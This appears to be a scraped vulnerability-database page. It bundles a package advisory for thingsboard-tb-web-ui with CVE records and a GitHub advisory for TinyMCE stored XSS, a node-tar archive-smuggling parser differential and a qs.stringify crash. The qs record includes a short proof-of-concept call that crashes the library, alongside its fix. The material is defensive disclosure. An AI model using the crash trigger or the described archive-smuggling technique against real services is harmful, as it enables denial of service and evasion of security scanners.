Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package thingsboard-tb-web-ui version 4.3.1.1-r1 fixes 10 vulnerabilities: CVE-2026-8723, CVE-2026-53655, CVE-2026-47759, CVE-2026-47761, CVE-2026-47762...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "thingsboard-tb-web-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.1.1-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.3.1.1-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package thingsboard-tb-web-ui version 4.3.1.1-r1 fixes 10 vulnerabilities: CVE-2026-8723, CVE-2026-53655, CVE-2026-47759, CVE-2026-47761, CVE-2026-47762...",
"id": "CLEANSTART-2026-NU98727",
"modified": "2026-07-30T09:33:40Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thingsboard/thingsboard"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in thingsboard-tb-web-ui 4.3.1.1-r1",
"upstream": [
"CVE-2026-8723",
"CVE-2026-53655",
"CVE-2026-47759",
"CVE-2026-47761",
"CVE-2026-47762",
"ghsa-q742-qvgc-gc2f",
"ghsa-v98h-vmpc-fpqv",
"ghsa-vg35-5wq7-3x7w",
"ghsa-q8mj-m7cp-5q26",
"ghsa-vmf3-w455-68vh"
]
}
CVE-2026-47759 (GCVE-0-2026-47759)
Vulnerability from cvelistv5 – Published: 2026-05-28 15:20 – Updated: 2026-05-30 01:58- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| URL | Tags |
|---|---|
| https://github.com/tinymce/tinymce/security/advis… | x_refsource_CONFIRM |
| https://www.tiny.cloud/docs/tinymce/7/7.9.3-relea… | x_refsource_MISC |
| https://www.tiny.cloud/docs/tinymce/8/8.5.1-relea… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-47759",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-30T01:58:26.866780Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-30T01:58:37.777Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "tinymce",
"vendor": "tinymce",
"versions": [
{
"status": "affected",
"version": "\u003c 5.11.1"
},
{
"status": "affected",
"version": "\u003e= 6.0.0, \u003c= 6.8.6"
},
{
"status": "affected",
"version": "\u003e= 7.0.0, \u003c 7.9.3"
},
{
"status": "affected",
"version": "\u003e= 8.0.0, \u003c 8.5.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability via unsanitized data-mce-* attributes (data-mce-href, data-mce-src, data-mce-style). Allows attackers to inject malicious values that override safe attributes during serialization, bypassing validation. This vulnerability is fixed in 5.11.1, 7.9.3, and 8.5.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:20:11.242Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/tinymce/tinymce/security/advisories/GHSA-q742-qvgc-gc2f",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-q742-qvgc-gc2f"
},
{
"name": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview",
"tags": [
"x_refsource_MISC"
],
"url": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview"
},
{
"name": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview",
"tags": [
"x_refsource_MISC"
],
"url": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview"
}
],
"source": {
"advisory": "GHSA-q742-qvgc-gc2f",
"discovery": "UNKNOWN"
},
"title": "TinyMCE Cross-Site Scripting (XSS) vulnerability using through data-mce- prefixed src, href, style attributes"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-47759",
"datePublished": "2026-05-28T15:20:11.242Z",
"dateReserved": "2026-05-19T22:36:16.881Z",
"dateUpdated": "2026-05-30T01:58:37.777Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-47761 (GCVE-0-2026-47761)
Vulnerability from cvelistv5 – Published: 2026-05-28 15:20 – Updated: 2026-05-28 15:26- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| URL | Tags |
|---|---|
| https://github.com/tinymce/tinymce/security/advis… | x_refsource_CONFIRM |
| https://www.tiny.cloud/docs/tinymce/7/7.9.3-relea… | x_refsource_MISC |
| https://www.tiny.cloud/docs/tinymce/8/8.5.1-relea… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-47761",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-28T15:26:42.465256Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:26:49.455Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "tinymce",
"vendor": "tinymce",
"versions": [
{
"status": "affected",
"version": "\u003c 5.11.1"
},
{
"status": "affected",
"version": "\u003e= 6.0.0, \u003c= 6.8.6"
},
{
"status": "affected",
"version": "\u003e= 7.0.0, \u003c 7.9.3"
},
{
"status": "affected",
"version": "\u003e= 8.0.0, \u003c 8.5.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability in the media plugin. Attackers can inject malicious scripts via crafted data-mce-* attributes, which are executed when content is rendered. Impacts users of TinyMCE with the media plugin enabled. This vulnerability is fixed in 5.11.1, 7.9.3, and 8.5.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:20:57.814Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/tinymce/tinymce/security/advisories/GHSA-vg35-5wq7-3x7w",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-vg35-5wq7-3x7w"
},
{
"name": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview",
"tags": [
"x_refsource_MISC"
],
"url": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview"
},
{
"name": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview",
"tags": [
"x_refsource_MISC"
],
"url": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview"
}
],
"source": {
"advisory": "GHSA-vg35-5wq7-3x7w",
"discovery": "UNKNOWN"
},
"title": "TinyMCE Cross-Site Scripting (XSS) vulnerability using media plugin `data-mce-object` injection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-47761",
"datePublished": "2026-05-28T15:20:57.814Z",
"dateReserved": "2026-05-19T22:36:16.881Z",
"dateUpdated": "2026-05-28T15:26:49.455Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-47762 (GCVE-0-2026-47762)
Vulnerability from cvelistv5 – Published: 2026-05-28 15:21 – Updated: 2026-05-28 19:14- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| URL | Tags |
|---|---|
| https://github.com/tinymce/tinymce/security/advis… | x_refsource_CONFIRM |
| https://www.tiny.cloud/docs/tinymce/7/7.9.3-relea… | x_refsource_MISC |
| https://www.tiny.cloud/docs/tinymce/8/8.5.1-relea… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-47762",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-28T19:14:30.785872Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T19:14:42.376Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "tinymce",
"vendor": "tinymce",
"versions": [
{
"status": "affected",
"version": "\u003c 5.11.1"
},
{
"status": "affected",
"version": "\u003e= 6.0.0, \u003c= 6.8.6"
},
{
"status": "affected",
"version": "\u003e= 7.0.0, \u003c 7.9.3"
},
{
"status": "affected",
"version": "\u003e= 8.0.0, \u003c 8.5.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability via forged mce:protected comments. Allows attackers to bypass sanitization and inject scripts that execute when content is restored. Impacts users who utilize the protect option. This vulnerability is fixed in 5.11.1, 7.9.3, and 8.5.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:21:36.882Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/tinymce/tinymce/security/advisories/GHSA-v98h-vmpc-fpqv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-v98h-vmpc-fpqv"
},
{
"name": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview",
"tags": [
"x_refsource_MISC"
],
"url": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview"
},
{
"name": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview",
"tags": [
"x_refsource_MISC"
],
"url": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview"
}
],
"source": {
"advisory": "GHSA-v98h-vmpc-fpqv",
"discovery": "UNKNOWN"
},
"title": "TinyMCE Cross-Site Scripting (XSS) vulnerability through `mce:protected` comments"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-47762",
"datePublished": "2026-05-28T15:21:36.882Z",
"dateReserved": "2026-05-19T22:36:16.881Z",
"dateUpdated": "2026-05-28T19:14:42.376Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-53655 (GCVE-0-2026-53655)
Vulnerability from cvelistv5 – Published: 2026-06-22 14:55 – Updated: 2026-06-23 16:09- CWE-436 - Interpretation Conflict
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-53655",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-23T14:15:18.405283Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T16:09:06.835Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.16"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar is a full-featured Tar for Node.js. Prior to 7.5.16, tar (node-tar) applies a PAX extended header\u0027s size= record (and other PAX overrides) to the next header entry of any type, including intermediary metadata headers such as a GNU long-name (L) or long-link (K) entry. Per POSIX pax, a PAX extended header (x) describes the next file entry, not the intermediary extension headers that may sit between the x header and the file it annotates. Because node-tar lets the PAX size override the byte length of an intervening L/K/x header, an attacker can desynchronize node-tar\u0027s stream cursor relative to every other mainstream tar implementation (GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs / astral-tokio-tar). The result is a tar parser interpretation differential (CWE-436): a single crafted archive yields a different set of members under node-tar than under the reference tar tools. An attacker can use this to hide a member from one parser while it is visible to another, which defeats security tooling whose scanner and extractor disagree on archive contents (e.g. a malware/secret scanner that lists entries with one library while a downstream step extracts with another) This vulnerability is fixed in 7.5.16."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-436",
"description": "CWE-436: Interpretation Conflict",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-22T14:55:50.133Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh"
}
],
"source": {
"advisory": "GHSA-vmf3-w455-68vh",
"discovery": "UNKNOWN"
},
"title": "node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-53655",
"datePublished": "2026-06-22T14:55:50.133Z",
"dateReserved": "2026-06-09T20:50:36.876Z",
"dateUpdated": "2026-06-23T16:09:06.835Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-8723 (GCVE-0-2026-8723)
Vulnerability from cvelistv5 – Published: 2026-05-16 23:21 – Updated: 2026-05-18 14:02- CWE-476 - NULL Pointer Dereference
| URL | Tags |
|---|---|
| https://github.com/ljharb/qs/security/advisories/… | vendor-advisory |
| https://github.com/ljharb/qs/commit/21f80b33e5c8b… | patch |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-8723",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-18T14:02:12.499337Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-18T14:02:57.825Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://npmjs.com/qs",
"defaultStatus": "unaffected",
"packageName": "qs",
"product": "qs",
"repo": "https://github.com/ljharb/qs",
"vendor": "ljharb",
"versions": [
{
"lessThan": "6.15.2",
"status": "affected",
"version": "6.11.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "joannalange"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e### Summary\u003c/p\u003e\u003cp\u003e`qs.stringify` throws `TypeError` when called with `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs\u0027s null-related options (`skipNulls`, `strictNullHandling`).\u003c/p\u003e\u003cp\u003e### Details\u003c/p\u003e\u003cp\u003eIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\u003c/p\u003e\u003cp\u003e```js\u003c/p\u003e\u003cp\u003eobj = utils.maybeMap(obj, encoder);\u003c/p\u003e\u003cp\u003e```\u003c/p\u003e\u003cp\u003e`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\u003c/p\u003e\u003cp\u003eSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\u003c/p\u003e\u003cp\u003e#### PoC\u003c/p\u003e\u003cp\u003e```js\u003c/p\u003e\u003cp\u003econst qs = require(\u0027qs\u0027);\u003c/p\u003e\u003cp\u003eqs.stringify({ a: [null, \u0027b\u0027] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\u003c/p\u003e\u003cp\u003eqs.stringify({ a: [undefined, \u0027b\u0027] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\u003c/p\u003e\u003cp\u003eqs.stringify({ a: [null] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\u003c/p\u003e\u003cp\u003e// TypeError: Cannot read properties of null (reading \u0027length\u0027)\u003c/p\u003e\u003cp\u003e// at encode (lib/utils.js:195:13)\u003c/p\u003e\u003cp\u003e// at Object.maybeMap (lib/utils.js:322:37)\u003c/p\u003e\u003cp\u003e// at stringify (lib/stringify.js:145:25)\u003c/p\u003e\u003cp\u003e```\u003c/p\u003e\u003cp\u003e#### Fix\u003c/p\u003e\u003cp\u003e`lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2:\u003c/p\u003e\u003cp\u003e```diff\u003c/p\u003e\u003cp\u003e- obj = utils.maybeMap(obj, encoder);\u003c/p\u003e\u003cp\u003e+ obj = utils.maybeMap(obj, function (v) {\u003c/p\u003e\u003cp\u003e+ return v == null ? v : encoder(v);\u003c/p\u003e\u003cp\u003e+ });\u003c/p\u003e\u003cp\u003e```\u003c/p\u003e\u003cp\u003e`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(\u0027,\u0027)` step as-is. For `{ a: [null, \u0027b\u0027] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(\u0027,\u0027) || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\u003c/p\u003e\u003cp\u003e### Affected versions\u003c/p\u003e\u003cp\u003e`\u0026gt;=6.11.1 \u0026lt;6.15.2` \u2014 fixed in v6.15.2.\u003c/p\u003e\u003cp\u003eThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions \u2014 including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 \u2014 implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\u003c/p\u003e\u003cp\u003e### Impact\u003c/p\u003e\u003cp\u003eApplication code that calls `qs.stringify` with both `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework\u0027s error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\u003c/p\u003e\u003cp\u003eThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).\u003c/p\u003e"
}
],
"value": "### Summary\n\n\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs\u0027s null-related options (`skipNulls`, `strictNullHandling`).\n\n\n\n### Details\n\n\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n\n\n```js\n\n\n\nobj = utils.maybeMap(obj, encoder);\n\n\n\n```\n\n\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\n\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nconst qs = require(\u0027qs\u0027);\n\n\n\nqs.stringify({ a: [null, \u0027b\u0027] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\n\n\n\nqs.stringify({ a: [undefined, \u0027b\u0027] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\n\n\n\nqs.stringify({ a: [null] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\n\n\n\n// TypeError: Cannot read properties of null (reading \u0027length\u0027)\n\n\n\n// at encode (lib/utils.js:195:13)\n\n\n\n// at Object.maybeMap (lib/utils.js:322:37)\n\n\n\n// at stringify (lib/stringify.js:145:25)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2:\n\n\n\n```diff\n\n\n\n- obj = utils.maybeMap(obj, encoder);\n\n\n\n+ obj = utils.maybeMap(obj, function (v) {\n\n\n\n+ return v == null ? v : encoder(v);\n\n\n\n+ });\n\n\n\n```\n\n\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(\u0027,\u0027)` step as-is. For `{ a: [null, \u0027b\u0027] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(\u0027,\u0027) || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n\n\n### Affected versions\n\n\n\n`\u003e=6.11.1 \u003c6.15.2` \u2014 fixed in v6.15.2.\n\n\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions \u2014 including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 \u2014 implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n\n\n### Impact\n\n\n\nApplication code that calls `qs.stringify` with both `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework\u0027s error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\n\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`)."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-476",
"description": "CWE-476 NULL Pointer Dereference",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-16T23:21:16.035Z",
"orgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"shortName": "harborist"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26"
},
{
"tags": [
"patch"
],
"url": "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "qs.stringify crashes on null/undefined entries in comma-format arrays under encodeValuesOnly"
}
},
"cveMetadata": {
"assignerOrgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"assignerShortName": "harborist",
"cveId": "CVE-2026-8723",
"datePublished": "2026-05-16T23:21:16.035Z",
"dateReserved": "2026-05-16T06:26:43.607Z",
"dateUpdated": "2026-05-18T14:02:57.825Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-Q742-QVGC-GC2F
Vulnerability from github – Published: 2026-06-05 20:27 – Updated: 2026-07-07 17:10Impact
Stored XSS vulnerability via unsanitized data-mce-* attributes (data-mce-href, data-mce-src, data-mce-style). Allows attackers to inject malicious values that override safe attributes during serialization, bypassing validation.
Patches
Patched by stripping unsafe data-mce-* attributes during parsing. Users should upgrade to the latest patched versions (5 LTS, 7.x, 8.x).
Workarounds
No official workaround available.
Fix
To avoid this vulnerability:
Upgrade to TinyMCE 8.5.1 or higher. Upgrade to TinyMCE 7.9.3 or higher. Upgrade to TinyMCE 5.11.1 LTS or higher for TinyMCE 5.x (only available as part of commercial long-term support contract).
Acknowledgements
